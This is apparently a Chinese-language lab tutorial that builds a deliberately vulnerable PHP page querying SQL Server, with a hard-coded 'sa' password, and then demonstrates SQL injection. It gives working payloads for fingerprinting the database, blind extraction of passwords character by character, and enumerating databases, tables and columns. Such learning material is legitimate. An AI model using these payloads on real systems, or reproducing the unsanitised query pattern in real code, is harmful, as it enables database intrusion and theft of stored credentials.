根据需要,对之前安装成功的sql server数据库和php进行连接,进行注入测试,自己搭建测试环境
实验环境:
虚拟机windows下的sql server数据库环境
实验源代码:
header("Content-type:text/html; charset=gbk");
$serverName = "127.0.0.1"; //数据库服务器地址
$uid="sa";
$pwd="123456";
$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");
$conn = sqlsrv_connect($serverName, $connectionInfo);
if($conn == false){
echo "连接失败!";
var_dump(sqlsrv_errors());
exit;
}else{
//echo "链接成功"
//$sql = "select * from users where id='".$id."'";
$sql = "select * from users where id=".$id;
echo $sql."
";$result = sqlsrv_query($conn,$sql);
if(empty(sqlsrv_errors())){
while($num=sqlsrv_fetch_array($result)){
print_r($num['name']);
}
}else{
$error=sqlsrv_errors();
echo $error[0][2];
}
sqlsrv_close($conn);
}
?>
在sql server 数据库中建立users表,添加字段、数据后
进行测试,在本机上进行访问
基本注入
首先是整数型的注入
1=1正常,1=2不正常,判断有注入点
进行注入
通过判断有无sysobjects表,(每个数据库都会系统创建sysobjects表),来判断是否是sql server 数据库
返回正常,为sql server 数据库
如果是字符型呢?sql语句需要进行修改
$sql = "select * from abc where id='".$id."'";
继续进行字符型注入
同样的道理
进行一些基本的判断
获取数据的注入
通过having子句获取当前表和列,然后进行递归获取所有
证明当前有三个字段
进入数据库,进行验证
再次注入,获取password中的数据
通过把每一位的unicode编码遍历出进行数值比较大小,也方便使用二分法
注入语句为:
and (select top 1 unicode(substring(password,1,1)) from users)>=49
and (select top 1 unicode(substring(password,2,1)) from users)>=50
遍历出结果:49,50,51,52,53,54--------1,2,3,4,5,6--------123456
猜解第二列,也是同样的道理
可以总结:
and (select top 1 id,unicode(substring(字段名,第几个字母,1)) from 表名) where id not in (1)
通过not遍历多少条数据
and (select top 1 unicode(substring(字段名,第几个字母,1)) from 表名)>0
这样,数据库中的demo该表的全部信息都能获取
获取其他数据库信息的注入
注入语句为
1' and (select top 1 name from master..sysdatabases)>0 -- '
将该注入语句放在sql server数据库中进行分析
SELECT Name FROM Master..SysDatabases ORDER BY Name
通过where条件可以获取所欲数据库名
语句为:
id=1' and (select top 1 name from master..sysdatabases where name not in ('master') order by name)>0 -- '
获得demo数据库,再次注入获取数据表
语句为:
id=1' and (select top 1 name from demo.sys.all_objects where type='U' )>0 --'
有了demo数据库,users数据表,到了获取字段
语句为:
id=1' and (select top 1 COLUMN_NAME from demo.information_schema.columns where TABLE_NAME='users') >0 --'
继续获取第二个字段,通过where子语句
语句为
id=1' and (select top 1 COLUMN_NAME from demo.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id') ) >0 -- '
知道数据库名称,表,字段,进行获取数据
还可以跨表查询,在sql server数据库中新建一个数据库manager,表名为message
语句为
id=1' and 1=( select top 1 name from 数据库名.dbo.数据表名)